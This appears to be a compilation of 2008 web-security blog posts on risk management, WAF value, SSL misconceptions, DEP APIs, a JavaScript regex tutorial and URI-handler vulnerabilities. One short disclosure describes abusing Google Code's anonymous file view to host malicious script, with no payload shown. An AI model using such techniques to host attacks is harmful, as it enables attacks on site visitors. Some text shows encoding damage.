I'd agree that the "industry" certainly focuses their efforts on these activities, but that's exactly the mission of the "industry" that he helped create. We, as consumers of security kit, have perpetuated a supply-driven demand security economy.

There's a huge amount of attention paid to vulnerabilities, patching and prevention that doesn't prevent because at this point, that's all we've got. Until we start focusing on the the root cause rather than the symptoms, this is a cycle we won't break. See my post titled "Sacred Cows, Meatloaf, and Solving the Wrong Problems" for an example of what I mean.

Tippett compared vulnerability research with automobile safety research. "If I sat up in a window of a building, I might find that I could shoot an arrow through the sunroof of a Ford and kill the driver," he said. "It isn't very likely, but it's possible.

"If I disclose that vulnerability, shouldn't the automaker put in some sort of arrow deflection device to patch the problem? And then other researchers may find similar vulnerabilities in other makes and models," Tippett continued. "And because it's potentially fatal to the driver, I rate it as 'critical.' There's a lot of attention and effort there, but it isn't really helping auto safety very much."

What this really means and Peter doesn't really ever state, is that mitigating vulnerabilities in the absence of threat, impact or probability is a bad thing. This is why I make such a fuss about managing risk instead of mitigating vulnerabilities. If there were millions of malicious archers firing arrows through the sunroofs of unsuspecting Ford Escort drivers, then the 'critical' rating is relevant given the probability and impact of all those slings and arrows of thine enemies...
Tippett also suggested that many security pros waste time trying to buy or invent defenses that are 100 percent secure. "If a product can be cracked, it's sometimes thrown out and considered useless," he observed. "But automobile seatbelts only prevent fatalities about 50 percent of the time. Are they worthless? Security products don't have to be perfect to be helpful in your defense."
I like his analogy and the point he's trying to underscore. What I find in many cases is that the binary evaluation of security efficacy -- in products and programs -- still exists. In the absence of measuring the effective impact that something has in effecting one's risk posture, people revert to a non-gradient scale of 0% or 100% insecure or secure. Is being "secure" really important or is managing to a level of risk that is acceptable -- with or without losses -- the really relevant measure of success?

This concept also applies to security processes, Tippett said. "There's a notion out there that if I do certain processes flawlessly, such as vulnerability patching or updating my antivirus software, that my organization will be more secure. But studies have shown that there isn't necessarily a direct correlation between doing these processes well and the frequency or infrequency of security incidents.

"You can't always improve the security of something by doing it better," Tippett said. "If we made seatbelts out of titanium instead of nylon, they'd be a lot stronger. But there's no evidence to suggest that they'd really help improve passenger safety."

I would like to see these studies. I think that companies who have rigorous, mature and transparent processes that they execute "flawlessly" may not be more "secure," (a measurement I'd love to see quantified) but are in a much better position to respond and recover when (not if) an event occurs. Based upon the established corollary that we can't be 100% "secure" in the first place, we then know we're going to have incidents.

Being able to recover from them or continue to operate while under duress is more realistic and important in my view. That's the point of information survivability.

Security teams need to rethink the way they spend their time, focusing on efforts that could potentially pay higher security dividends, Tippett suggested. "For example, only 8 percent of companies have enabled their routers to do 'default deny' on inbound traffic," he said. "Even fewer do it on outbound traffic. That's an example of a simple effort that could pay high dividends if more companies took the time to do it."

I agree. Focusing on efforts that eliminate entire classes of problems based upon reducing risk is a more appropriate use of time, money and resources.
Security awareness programs also offer a high rate of return, Tippett said. "Employee training sometimes gets a bad rap because it doesn't alter the behavior of every employee who takes it," he said. "But if I can reduce the number of security incidents by 30 percent through a $10,000 security awareness program, doesn't that make more sense than spending $1 million on an antivirus upgrade that only reduces incidents by 2 percent?"
Nod. That was the point of the portfolio evaluation process I gave in my disruptive innovation presentation:
24. Provide Transparency in portfolio effectiveness

I didn't invent this graph, but it's one of my favorite ways of visualizing my investment portfolio by measuring in three dimensions: business impact, security impact and monetized investment. All of these definitions are subjective within your organization (as well as how you might measure them.)

The Y-axis represents the "security impact" that the solution provides. The X-axis represents the "business impact" that the solution provides while the size of the dot represents the capex/opex investment made in the solution.

Each of the dots represents a specific solution in the portfolio.

If you have a solution that is a large dot toward the bottom-left of the graph, one has to question the reason for continued investment since it provides little in the way of perceived security and business value with high cost. On the flipside, if a solution is represented by a small dot in the upper-right, the bang for the buck is high as is the impact it has on the organization.

The goal would be to get as many of your investments in your portfolio from the bottom-left to the top-right with the smallest dots possible.

This transparency and the process by which the portfolio is assessed is delivered as an output of the strategic innovation framework which is really comprised of part art and part science.
All in all, a good read from someone who helped create the monster and is now calling it ugly...

/Hoff

Justice League

Please Don’t FUD the Animals

Posted: February 7th, 2008, 2:54pm CST by sammy

Tags: Data Security [edit]

I absolutely enjoyed the insight shown by Thomas Wailgum in his recent article “How TJX Avoided Wall Street’s Wrath“, mostly because I have long been in complete agreement with the premise.

With respect to security professionals, unfortunately, TJX now appears to be “the one that got away.” Let me explain, with tongue planted firmly in cheek.

If you’re in the business of providing discount items and the economy is a little weak, then business will be good. Apparently, it won’t matter that you’ve had a mishap or two with the data entrusted to you. It has always been my contention that only a small minority of people really understand the impact of stolen personal data and, even amongst most the people who do “get it,” the theft of nearly 100 million records of personal data is almost meaningless in its enormity. The victims are worried only about one record — theirs. Either it got stolen or it didn’t. And, if it did, it’ll get abused or it won’t. And, if it does, there is an ingrained belief the credit card company will “take care of it.”

Besides, there’s a huge sale and my niece needs galoshes — the green ones that look like frogs.

Yes, I believe that, as a rule, people care about the persona of the organizations they patronize. On the other hand, I believe we are at a point where the idea that “Stuff happens” because “Hackers did it” has seeped into the public consciousness much more deeply than “It’s the big, bad conglomerate’s fault.”

Virtually everyone can feel outrage at accounting scandals and multi-million dollar salaries and insider trading and so on, especially when you’re clipping coupons to make ends meet. On the other hand, virtually everyone had been impacted by “hackers.” Phishing, spyware, malware, malicious web sites, Internet scams, spam, MySpace worms, fake wireless hotspots, lions, tigers, bears — everyone has felt the sting of “the bad guy.” I claim that for Mr. and Mrs. Average American, it’s almost natural to feel a little sorry for TJX, to feel a camaraderie even, like “Hey, welcome to the club.”

Sure, we all believe they should have done more. On the other hand, I shouldn’t have clicked on that email attachment last year. I’m quite happy with my physical attributes, but it really sounded like a good deal. And that Nigerian gentleman sounded so sincere. And who doesn’t want a few new MySpace friends. We all make mistakes, right?

But what about those of us in the consulting business who have to convince organizations to put their trust in us. They have to believe us when we say that not spending on {data|information|application|software|IT} security can have intolerable business consequences. TJX would’ve made such a great example of just what intolerable really means — a veritable poster child for “See! I wasn’t kidding!” And now it’s ruined.

Okay, I don’t really want their stock to tank and have thousands more people affected. On the other hand, the least TJX could’ve done was fire a wing of executives so they could serve the consulting industry as an example in endless PowerPoint presentations for decades to come. (I still occasionally see technology demos that claim things such as, “And this could’ve even stopped the Morris worm.”) Now, we’ll have to go out of our way to omit TJX. We can’t bring up an example where nothing that bad really happened — for the organization, not the people affected by the thieves, of course. Now, instead of answering the question “How do we prevent this happening to us?”, consultants will have to answer the question “How do they get out of it so easily?”

Yeah, I’m sure it was rough in their executive suites for a while, but I’ll bet everyone is breathing easier now, walking around saying, “Woo-Hoo, we didn’t pull a CardSystems!” TJX has a very respectable 5-year stock climb, including three splits, and the current trade price is solid. Would they prefer to have invested a little more in IT security? Of course. Would they prefer not have unplanned millions in expenses? Of course. Do huge, unplanned expenses happen to large companies with some regularity? Of course. This one is special to us because we have some insight into how relatively easily it could have been avoided or detected, but for many, it really is business as usual.

Michael Howard's Web Log

More trustworthy election systems via SDL?

Posted: February 6th, 2008, 8:03pm CST by michael_HOWARD

Tags: Security [edit]

My colleague Eric Bidstrup has just posted a thought provoking article on the SDL blog about elections software and the SDL.

Rational Survivability

OMG, Availability Trumps Security! Oh, the Horror!

Posted: February 1st, 2008, 7:40pm CST by beaker

Tags: Information Security [edit]

Michael Farnum's making me shake my head today in confusion based upon a post wherein he's shocked that some businesses may favor availability over (ahem) "security."

Classically we've come to know and love (a)vailability as a component of security -- part of the holy triumvirate paired with (c)onfidentiality and (i)ntegrity -- but somehow it's now incredulous that one of these concerns can matter more to a business than the others.

If one measures business impact against an asset, are you telling me, Mike, that all three are always equal? Of course not...

Depending upon what's important to maintain operations as an on-going concern or what is required as a business decision to be more critical, being available even under degraded service levels may be more important than preserving or enforcing confidentiality and integrity. To some, it may not.

The reality is that this isn't an issue of absolutes. The measured output of the investments in C, I and A aren't binary -- you're not only either 0% or 100% secure. There are shades of gray. Decisions are often made such that one of the elements of C, I and A are deemed more relevant or more important.

Businesses often decide to manage risk by trading off one leg of the stool for another. You may very end up with a wobbly seat, but there's a difference between what we see in textbooks and what the realities in the field actually are.

Deal with it. Sometimes businesses make calculated bets that straddle the fine line of acceptable loss and readiness and decide to invest in certain things versus others. Banks to this all the time. Their goal is to be right more often than they are wrong. They manage their risk. They generally do it well. Depending upon the element in question, sometimes A wins. Sometimes it doesn't.

Here's a test. Go turn off your Internet firewall and tell everyone you're perfectly secure now. Will everyone high-five you for a job well done?

Firewall's down. Business stops. Not for "security's sake." Pushed the wrong button...

Compensating controls can help offset effects against C and I, but if an asset or service is not A(vailable) what good is it? Again, this depends on the type of asset/service and YMMV. Sometimes C or I win.

Thanks to the glut of security band-aids we've thrown at tackling "security" problems these days, availability has become -- quite literally -- a function of security. As we see the trend move from managing "security" toward managing "risk," we'll see more of this ~~heresy~~ common sense appear as mainstream thinking.

Since we can't seem to express (for the most part) how things like firewalls translate to a healthier bottom line, better productivity or efficiency, it's no wonder businesses are starting to look to actionable risk management strategies that focuses on operational business impact instead.

Measuring availability (at the macro level or transactionally) is easy. IT knows how to do this. Either something is available or it isn't. How do you measure confidentiality of integrity as a repeatable metric?

In my comment to Michael (and Kurt Wismer) I note:
It???s funny how allergic you and Wismer are toward the notion that managing risk may mean that ???security??? (namely C and I) isn???t always the priority. Basic risk assessment process shows us that in many cases ???availability??? trumps "security."

This can???t be a surprise to either of you.

Depending upon your BCP/DR/Incident Response capabilities, the notion of a breakdown in C or I can be overcome by resilience that also has the derivative effect of preserving A.

Risk Management != Security.

However, good Security helps to reinforce and enforce those things which lend themselves toward making better decisions on how to manage risk.

What???s so hard to understand about that?

Sounds perfectly reasonable to me.

Security's in the eye of the beholder. Stop sticking your thumb in yours ;)

Speaking of which Twitter's down. Damn! Unavailability strikes again!

/Hoff

The Spanner

Javascript regular expressions

Posted: February 1st, 2008, 4:27pm CST by Gareth Heyes

Tags: Security [edit]
Ronald and I had a good conversation about Javascript regular expressions comparing them to PHP. He was having difficultly with the syntax because he was used to preg in PHP so I promised to share my knowledge gained from developing various online scripts.

First up preg_match in PHP can be achieved using the match function in Javascript, they are both very similar but it’s just a matter of getting your head round the different syntax. Match is part of the String object and here is how to use it:-
```
alert('Test'.match(/[a-z]/))
```
You can match subpatterns like this (I’ve tried to keep it close to PHP syntax as possible):-
```
pattern = /([a-z]+)([0-9]+)([A-Z]+)/;
subject = 'test1234TEST';
matches = subject.match(pattern);
match1 = matches[1];
match2 = matches[2];
match3 = matches[3];
alert(match1);
alert(match2);
alert(match3);
```
You can also create matches using the RegExp object, this is useful for passing variables into the pattern which to my knowledge isn’t possible with “//” syntax.
```
a = 'a+';
alert(new RegExp(a).exec('123aaaabcdef'));
```
The exec method can also be called from “//” patterns.
```
alert((/[0-9]+/).exec('12345abcdef'))
```
Javascript supports the modifiers “g”, “i” and “m”, here’s how to use them with “//” syntax:-
```
matches = 'ababababababa'.match(/[a]/g);
alert(matches);
alert(matches.length);
```
Here’s how to use modifiers with the RegExp object:-
```
alert(RegExp('[test]+','i').exec('TeSt'))
```
Ok I hope you’re following so far, I’m going to move onto replace now and how to use the various combinations.

Here’s how to use replace, notice how only one “t” is replaced:-
```
str = 'test';
alert(str.replace('t','x'))
```
In order to match more than one instance of the string and use a regular expression you have to do the following:-
```
alert('test'.replace(/t/g,'x'))
```
Javascript also supports anonymous functions within replace which is really powerful, you can even nest the replaces and perform other logic:-
```
alert('teeest'.replace(/e+/g, function(str) {
  return str.replace(/e/g,'x');
}));
```
You can also use parenthesis with replace and match the subpatterns like this:-
```
alert('567'.replace(/([0-9])([0-9])([0-9])/,'$3$2$1'));
```
That’s all for now I may follow up this article at a later date when I have some spare time, I hope you enjoyed it.

Web Security Blog

Tangible ROI of a Web Application Firewall (WAF)

Posted: February 1st, 2008, 11:06am CST

Tags: Web Security [edit]

One of the challenges facing organizations that need to increase the security of their web applications is to concretely provide appropriate "Return On Investment" (ROI) for procurement justification. Organizations can only allocate a finite amount of budget towards security efforts therefore security managers need to be able to justify any commercial services, tools and appliances they want to deploy. As most people who have worked in information security for an extended period of time know, producing tangible ROI for security efforts that address business driver needs is both quite challenging and critically important.

The challenge for security managers is to not focus on the technical intricacies of the latest complex web application vulnerability or attack. C-level Executives do not have the time, and in most instances the desire, to know the nuances of an HTTP Request Smuggling attack. That is what they are paying you for! Security managers need to function as a type of liaison where they can take data from the Subject Matter Experts (SMEs) and then translate that into a business value that is important to the C-level Executive.

One, almost guaranteed, pain point to most executives are vulnerability scan reports that are presented by auditors. The auditors are usually being brought in from and reporting to a higher-level third party (be it OMB in the Government or PCI for Retail). Executives like to see "clean vulnerability scan reports." While this will certainly not guarantee that your web application is 100% secure, it can certainly help to prove the counter-argument. And to make matters worse, nothing is more frustrating to upper Management than auditor reports list repeat vulnerabilities that either never go away or pull the "Houdini" trick (they disappear for awhile only to suddenly reappear). Sidebar - see Jeremiah Grossman's Blog post for examples of this phenomenon. These situations are usually attributed to breakdowns in the Software Development Life Cycle (SDLC) where code updates are too time consuming or the change control processes are poor.

This is one of the best examples of where a Web Application Firewall can prove its ROI.

At Breach Security, we receive many inbound calls from prospects who are interested in WAF technology but are lacking that "Big Stick" that helps convince upper management to actually make the purchase. The best scenario we have found is to suggest a "Before and After" comparison of a vulnerability scan report while they are testing the WAF on their network. The idea is to deploy the WAF in block mode and then initiate a rescan of a protected site. The difference in the reduction of findings is an immediate, quantitative ROI.

Here is a real example. One of our current customers followed this exact roadmap and this is a summary (slightly edited to remove sensitive information) of the information they sent back to us:

Our WAF is installed and running. I have tested its impact on www.example.com and it is operating very admirably. This morning I had the vulnerability scanning team run an on-demand scan to test the efficacy of the appliance, and I was very impressed with the results. Our previous metrics for www.example.com in the last scan were 64 vulnerabilities, across all outside IP addresses (including www.example.com, example2.com, example3.com, etc.) and with the Breach appliance in place, the metric from today's scan was 5 vulnerabilities, with details:

- High vulnerabilities dropped from 38 to 0
- Medium vulnerabilities dropped from 12 to 0
- 1 low vulnerability remains due to simply running a web server (we will eliminate this via exception)
- 1 low vulnerability due to a file/folder naming convention that is typical and attracts unwanted attacks (will be eliminated via rule addition)

Bear in mind that I have applied the appliance with a basic (almost strictly out-of-the-box) configuration and ruleset to protect only www.example.com (192.168.1.100 in the report), and the 35 warnings that remain are for the other websites, and would similarly disappear when protected by the appliance. In my opinion, this was a very successful test that indicates the effectiveness of the appliance.

So, looking at the report after the WAF was in place, the www.example.com web site removed 38 high and 12 medium vulnerabilities and left only 2 low ones (which are really just informational notices). That is pretty darn good and that was just with the default, generic detection ModSecurity rule set! Hopefully this information has helped to provide a possible use-case testing scenario to show tangible ROI of a WAF.

In a future post, I will discuss how custom WAF rule sets can be implemented to address more complex vulnerability issues identified not by a scanner but by actual people who have performed a web assessment/pentest.
Is your website secure? Prove it.

Posted: January 30th, 2008, 6:45am CST

Tags: Web Security [edit]
The recent Geeks.com compromise and subsequent articles have created a perfect storm of discussion topics and concerns related to web security. The underlying theme is that true web security encompasses much more than a Nessus scan from an external company.

The concepts (and much of the text) in this post are taken directly from a blog post by Richard Bejtlich on his TaoSecurity site. I have simply tailored the concepts specifically to web security. Thanks goes to Richard for always posting thought provoking items and making me look at web security through a different set of eyes. You know what they say about imitation ;)

The title of this post form the core of most of my recent thinking on web application security. Since I work for a commercial web application firewall company and am the ModSecurity Community Manager, I often get the chance to talk with people about web application security. While I am not a "sales" guy, I do hang out at our vendor booth when we are at conferences. I am mainly there to field technical questions and just interact with people. I have found that the title of this post is actually one of the absolute best questions to ask someone when they first come up to our booth. It always sparks interesting conversation and can shed light onto specific areas of strength and weakness.

What does it mean to be secure?

Obviously having logos posted on a web site that tout "we are secure" is really just a marketing tactic aimed to re-assure potential customer that it is safe to purchase goods at their site. The reality is that these logos are non-reliable and make no guarantee as to the real level of security offered by the web site. At best, they are an indication that the web site has met some sort of minimum standard. But that is a far cry from actually being secure.

Let me expand "secure" to mean the definition Richard provided in his first book: Security is the process of maintaining an acceptable level of perceived risk. He defined risk as the probability of suffering harm or loss. You could expand my six word question into are you operating a process that maintains an acceptable level of perceived risk for your web application?

Let's review some of the answers you might hear to this question. I'll give an opinion regarding the utility of the answer as well. For the purpose of this exercise let's assume it is possible to answer "yes" to this question. In other words, we just don't answer "no." We could all make arguments as to why it's impossible to be secure, but does that really mean there is no acceptable level of perceived risk in which you could operate? I doubt it. Let's take a look at the varios levels of responses.

So, is your website secure? Prove it.

1. Yes.

Then, crickets (i.e., silence for you non-imaginative folks.) This is completely unacceptable. The failure to provide any kind of proof is security by belief. We want security by fact. Think of it this way, would auditors accept this answer? Could you pass a PCI Audit by simply responding yeah, we are secure. Nope, you need to provide evidence.

2. Yes, we have product X, Y, Z, etc. deployed.

This is better, but it's another expression of belief and not fact. The only fact here is that technologies can be abused, subverted, and broken. Technologies can be simultaneously effective against one attack model and completely worthless against another.

This also reminds me of another common response I hear and that is - yes, we are secure because we use SSL. Ugh... Let me share with you one personal experience that I had with an "SSL Secured" website. Awhile back, I decided to make an online purchase of some herbal packs that can be heated in the microwave and used to treat sore muscles. When I visited the manufacturer's web site, I was dutifully greeted with a message "We are a secure web site! We use 128-bit SSL Encryption." This was reassuring as I obviously did not want to send my credit card number to them in clear text. During my checkout process, I decided to verify some general SSL info about the connection. I double-clicked on the "lock" in the lower-right hand corner of my web browser and verified that the domain name associated with the SSL certificate matched the URL domain that I was visiting, that it was signed by a reputable Certificate Authority such as VeriSign, and, finally, that the certificate was still valid. Everything seemed in order so I proceeded with the checkout process and entered my credit card data. I hit the submit button and was then presented with a message that made my stomach tighten up. The message is displayed next; however, I have edited some of the information to obscure both the company and my credit card data.

The following email message was sent:
```
To:companyname@aol.com
From: RCBarnett@email.com
Subject:ONLINE HERBPACK!!!
name: Ryan Barnett
address: 1234 Someplace Ct.
city: Someplace
state: State
zip: 12345
phone#:
Type of card: American Express
name on card: Ryan Barnett
card number: 123456789012345
expiration date: 11/05
number of basics:
Number of eyepillows:
Number of neckrings: 1
number of belted: 1
number of jumbo packs:
number of foot warmers: 1
number of knee wraps:
number of wrist wraps:
number of keyboard packs:
number of shoulder wrap-s:
number of cool downz:
number of hats-black:         number of hats-gray:
number of hats-navy:         number of hats-red:
number of hats-rtcamo:         number of hats-orange:
do you want it shipped to a friend:
name:
their address:
their city:
their state:
their zip:
  
cgiemail 1.6
```
I could not believe it. It looked as though they had sent out my credit card data in clear-text to an AOL email account. How could this be? They were obviously technically savvy enough to understand the need to use SSL encryption when clients submitted their data to their web site. How could they then not provide the same due diligence on the back-end of the process?

I was hoping that I was somehow mistaken. I saw a banner message at the end of the screen that indicated that the application used to process this order was called "cgiemail 1.6." I therefore hopped on Google and tried to track down the details of this application. I found a hit in Google that linked to the cgiemail webmaster guide. I quickly reviewed the contents and found what I was looking for in the "What security issues are there?" section:

Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server.

Risk: With cgiemail as with any form-to-mail program, eavesdroppers can also operate on any point on the pathway between the web server and the end reader of the mail. Since there is no encryption built into cgiemail, it is not recommended for confidential information such as credit card numbers.

Shoot, just as I suspected. I then spent the rest of the day contacting my credit card company about possible information disclosure and to place a watch on my account. I also contacted the company by sending an email to the same AOL address outlining the security issues that they needed to deal with. To summarize this story: Use of SSL does not a "secure site" make.

3. Yes, we are PCI compliant.

Generally speaking, regulatory compliance is usually a check-box paperwork exercise whose controls lag attack models of the day by one to five years, if not more. PCI is somewhat of an exception as it attempts to be more operationally relevant and address more current web application security issues. While there are some admirable aspects of PCI, please keep this mantra in mind -

It is much easier to pass a PCI audit if you are secure than to be secure because you pass a PCI audit.

PCI, like most other regulations, are a minimum standard of due care and passing the audit does make your site "unhackable." A compliant enterprise is like feeling an ocean liner is secure because it left dry dock with life boats and jackets. If regulatory compliance is more than a paperwork self-survey, we approach the realm of real of evidence. However, I have not seen any compliance assessments which measure anything of operational relevance. Check out Richard's Blog posts on Control-Compliant security for more details on this concept and why it is inadequate. What we really need is more of a "Field-Assessed" mode of evaluation. I will discuss this concept more in depth in future Blog posts.

4. Yes, we have logs indicating we prevented web attacks X, Y, and Z (SQL Injection, XSS, etc...).

This is getting close to the right answer, but it's still inadequate. For the first time we have some real evidence (logs) but these will probably not provide the whole picture. I believe that how people deploy and use a WAF is critical. Most people deploy a WAF in an "alert-centric" configuration which will only provide logs when a rule matches. Sure, these alert logs indicate what was identified and potentially stopped, but what about activities that were allowed? Were they all normal, or were some malicious but unrecognized by the preventative mechanism? Deploying a WAF as an HTTP level auditing device is a highly under-utilized deployment option. There is a great old quote that sums up this concept -

"In an incident, if you don't have good logs (i.e. auditing), you'd better have good luck."

5. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns.

Some would call this rationale the definition of security. Whether or not this answer is acceptable depends on the nature of the indications. If you have no indications because you are not monitoring anything, then this excuse is hollow. If you have no indications and you comprehensively track the state of a web application, then we are making real progress. That leads to the penultimate answer, which is very close to ideal.

6. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations.

This is really close to the correct answer. The absence of indications of intrusion is only significant if you have some assurance that you've properly instrumented and understood the web application. You must have trustworthy monitoring systems in order to trust that a web application is "secure." The lack of robust audit logs is usually the reason why organizations can not provide this answer. Put it this way, Common Log Format (CLF) logs are not adequate for full web based incident responst. Too much data is missing. If this is really close, why isn't it correct?

7. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations. We regularly test our detection and response people, processes, and tools against external adversary simulations that match or exceed the capabilities and intentions of the parties attacking our enterprise (i.e., the threat).

Here you see the reason why number 6 was insufficient. If you assumed that number 6 was OK, you forgot to ensure that your operations were up to the task of detecting and responding to intrusions. Periodically you must benchmark your perceived effectiveness against a neutral third party in an operational exercise (a "red team" event). A final assumption inherent in all seven answers is that you know the assets you are trying to secure, which is no mean feat. Think of this practical exercise, if you run a zero-knowledge (meaning un-announced to operations staff) web application penetration test, how does your organization respond? Do they even notice the penetration attempts? Do they report it through the proper escalation procedures? How long does it take before additional preventative measures are employed? Without answers to this type of "live" simulation, you will never truly know if your monitoring and defensive mechanisms are working.

Conclusion

Indirectly, this post also explains why only doing one of the following: web vulnerability scanning, penetration testing, deploying a web application firewall and log analysis does not adequately ensure "security." While each of these tasks excel in some areas and aid in the overall security of a website, they are each also ineffective in other areas. It is the overall coordination of these efforts that will provide organizations with, as Richard would say, a truly "defensible web application."

The Spanner

Google payloads

Posted: January 30th, 2008, 3:22am CST by Gareth Heyes

Tags: Security [edit]

Description
Google has a cool free service for hosting open source projects which allows you to manage your source code over svn. You can also view the contents anonymously but because some files directly output their contents it’s possible to use this service to host malicious server reflected attacks. The lack of any form of CAPTCHA also makes it easy for an attacker to automate this process.
POC
The following proof of concept uses the anonymous feature to include a HTML file which really contains javascript:-
Google payload poc
Recommendation
All file types should be forced to download when viewing their contents anonymously

Michael Howard's Web Log

New NX APIs added to Windows Vista SP1, Windows XP SP3 and Windows Server 2008

Posted: January 29th, 2008, 4:11pm CST by michael_HOWARD

Tags: Security [edit]
In the interests of helping secure the platform, we want more people to opt-in to using Data Execution Prevention (aka DEP aka NX), and we have lowered the barrier to entry for application developers in Windows Vista SP1, Windows XP SP3 and Windows Server 2008.

We've added some new APIs that allow a developer to set DEP on their process at runtime rather than using linker options. The new APIs also give developers some more flexibility if your application uses an older version of the Active Template Library (ATL.) Before I explain the new APIs, let me give you a little history behind ATL and NX.
Some ATL History
ATL has been around for a long time; it's reasonably light-weight and allows developers to build COM components rapidly. It also includes classes for manipulating security descriptors and such; to be honest, it makes working with Windows security objects open to mere mortals.

Older versions of ATL, and by older I mean pre-Visual C++ 2005, used dynamically generated code in small isolated cases. Obviously, without the appropriate APIs this is going to cause problems on a DEP-enabled computer, because you can't execute data. This code is referred to as a "thunk" and versions of ATL in VC++ 2005 and later work correctly with DEP.
The APIs
The most important API added is SetProcessDEPPolicy, which sets the DEP policy for the running process. You would normally use this function pretty early in main.

The function takes only one argument: the policy setting. The possible values are:
- 0x00000000 Turn off DEP for this process (Why are you doing this?)
- PROCESS_DEP_ENABLE Enable DEP for the process.
- PROCESS_DEP_ENABLE | PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION Enable DEP for the process, and disallow ATL thunks.
The last option is the killer argument - if you build an application that hosts components that might not be DEP compatible because they were built using an older version of ATL, you can still use DEP for your process.

There are two other functions: GetSystemDEPPolicy and GetProcessDEPPolicy; I'm not going to insult your intelligence and explain what they do.

The only negative to these APIs is they must be dynamically loaded because they don't exist on all supported versions of Windows. The following code shows how you can use the functions regardless of Windows version:

#define PROCESS_DEP_ENABLE                          0x00000001
#define PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION     0x00000002

BOOL SetDEP(__in DWORD dwFlags = PROCESS_DEP_ENABLE) {

       HMODULE hMod = GetModuleHandleW(L"Kernel32.dll");

       if (!hMod) return FALSE;

       typedef BOOL (WINAPI *PSETDEP)(DWORD);

       PSETDEP procSet = (PSETDEP)GetProcAddress(hMod,"SetProcessDEPPolicy");

       if (!procSet) return FALSE;

       return procSet(dwFlags);

}

If you OR the two flags together, it's virtually the same as linking with /NXCOMPAT.
When to use the NX APIs
There are three main reasons to use these new APIs:
- If your application has some form of in-process extensibility mechanism, and some applications might use older ATL, then you can enable DEP for your process, and the extensibility mechanisms using ATL will function correctly.
- If you support DEP but want to allow customers to disable DEP if there are serious compatibility issues, then this is the API to use because the argument can be a configuration option.
- If your application uses an old version of ATL, and you still want to do the right thing by DEP, then use this function. Of course, you really ought to use an updated version of ATL!
One Caveat
I'm only telling you this because it bit me.

There is one caveat that you should know; SetPRocessDEPPolicy often returns error 5 (Access Denied) but this error does not mean the operating system is denying access, it means you are attempt to change DEP policy in a way that is not appropriate. For example, if you link with /NXCOMPAT, and then use this API, you'll get the error. Or, if the operating system is configured to use DEP for all processes all the time no matter what, then you'll see the same error. Finally, you'll get an access denied error if you attempt to call SetPRocessDEPPolicy twice in one application; once the policy is set, it's set for the process lifetime.
In short, don't be overly alarmed if you see this error.

Billy (BK) Rios

Surveys on URI and Protocol Handling Issues Cause Concern

Posted: January 27th, 2008, 7:34pm CST by Nate McFeters

Tags: Security [edit]
I’ve seen two interesting polls in the past week about the URI/Protocol Handler issues that Rios and I have been talking about. They’re interesting polls on their own, but when you look at the results, I think they point out some concerning misconceptions and show a lack of understanding of the dangers of the URI/Protocol Handler issues. The first poll is over at Jeromiah Grossman’s blog and discusses the Top 10 Web Hacks of 2007, the second poll is hosted by Secunia here and discusses our Windows URI issue and asks companies if they’ve taken any steps, and if not, if they are affected by the vulnerability.

Interesting thing with Grossman’s poll is the order in which certain vulnerabilities panned out in the listing, and more importantly, what vulnerabilities were missing altogether. Here’s the list:
1. XSS Vulnerabilities in Common Shockwave Flash Files
2. Universal XSS in Adobe’s Acrobat Reader Plugin
3. Firefox’s JAR: Protocol issues
4. Cross-Site Printing (Printer Spamming)
5. Hiding JS in Valid Images
6. Firefoxurl URI Handler Flaw
7. Anti-DNS Pinning ( DNS Rebinding )
8. Google GMail E-mail Hijack Technique
9. PDF XSS Can Compromise Your Machine
10. Port Scan without JavaScript
First off, let me thank the voters for voting Billy and I in at number six with our Firefoxurl Protocol Handler issue, but I have to say, the impact of this particular finding seems to be more significant then all of those listed in the top 5 (with no disrespect to the authors of these flaws). All of the top 5 findings are legit, so not to take anything away there, but command injection through Cross-Site Scripting is beyond a serious issue.

Second, I’m completely surprised that PDP’s “PDF XSS Can Compromise Your Machine” post made it in over our exploit, which it is based off of (see “Firefox File Handling Woes”)! While PDP’s issue is quite serious, and actually was turned into a trojan horse attack, it is a subset of (and not nearly as serious as) the issue we describe, which can be exploited through simple XSS or CSRF, and does not require that a user receive and open a PDF file. This issue is a URI Handler attack against the Microsoft operating system (XP with IE7) and affects numerous programs including but not limited to Mozilla/Firefox/Netscape browsers, Thunderbird/Outlook and other e-mail clients, skype, Adobe Acrobat Reader, etc. Not to take anything away from PDP’s find, but the issue we reported is the first among a class of these types of vulnerabilities.

To qualify all of this, I understand that Grossman’s poll had more subjective rankings then impact alone, but I stand by my guns on this one. To be perfectly honest, if this was based off of cool-factor, then Dino Dai Zovi’s Secondlife exploit should’ve been number one. Some of this confusion is easy to attribute to the black box nature in which these issues were originally found and lack of information at the time of reporting. There are really two current types of these flaws:
1. Protocol Handling Issues - Imply a flaw in the application designated to handle a certain protocol (these are application specific)
  1. AIM Buffer Overflow and Command Injection Issues
  2. FirefoxUrl and NavigatorUrl Command Injection Issues
  3. Google’s Picasa Image Theft Issue
  4. etc.
2. URI Handling Issues - Imply a issue with handling a specific URI by the Operating System (have a more global impact, as they are a vulnerability in the underlying operating system and can affect multiple applications)
  1. Flaw in Windows Shell32.dll ShellExecute that lead to command injections like those in Acrobat Reader, Firefox, Netscape Navigator, Outlook, etc.
As you can see, the URI handling issues are a much greater risk as they imply an issue with the operating system and how it is being used by an application… basically, if you uncover one flaw (like our mailto: URI issue within Firefox/Netscape/etc.) it applies to all applications that work in that same way. So effectively, PDP’s Adobe Acrobat issue is a subset of the greater URI handling issue, which has subsequently been fixed by Microsoft.

Moving onto the secunia poll… go take a look if you haven’t already. At the time of writing, there was only 29% of organizations that had done something to address the issue… 29%!!! Worst of all, 34% of respondents claimed that they were not at risk! So, 71% of companies out there are doing nothing about what very may well be one of the biggest issues of the year. By the way, for the 34% of respondents who claimed their organizations were not at risk, you are oh so wrong. Unless you are a company that does not allow ANY of your employees to view the Internet, you ARE at risk. This type of exploit may also be able to exploit web applications that make their own requests (think a translation service that allows you to specify a URI to go translate).

The lack of understanding is concerning, so I suppose it is a good thing that I will be continuing to discuss these issue and new examples of them at Black Hat Federal and Black Hat Europe. Hope to see you there!

Nate McFeters

ha.ckers.org web application security lab

Self Incrimination or Privacy

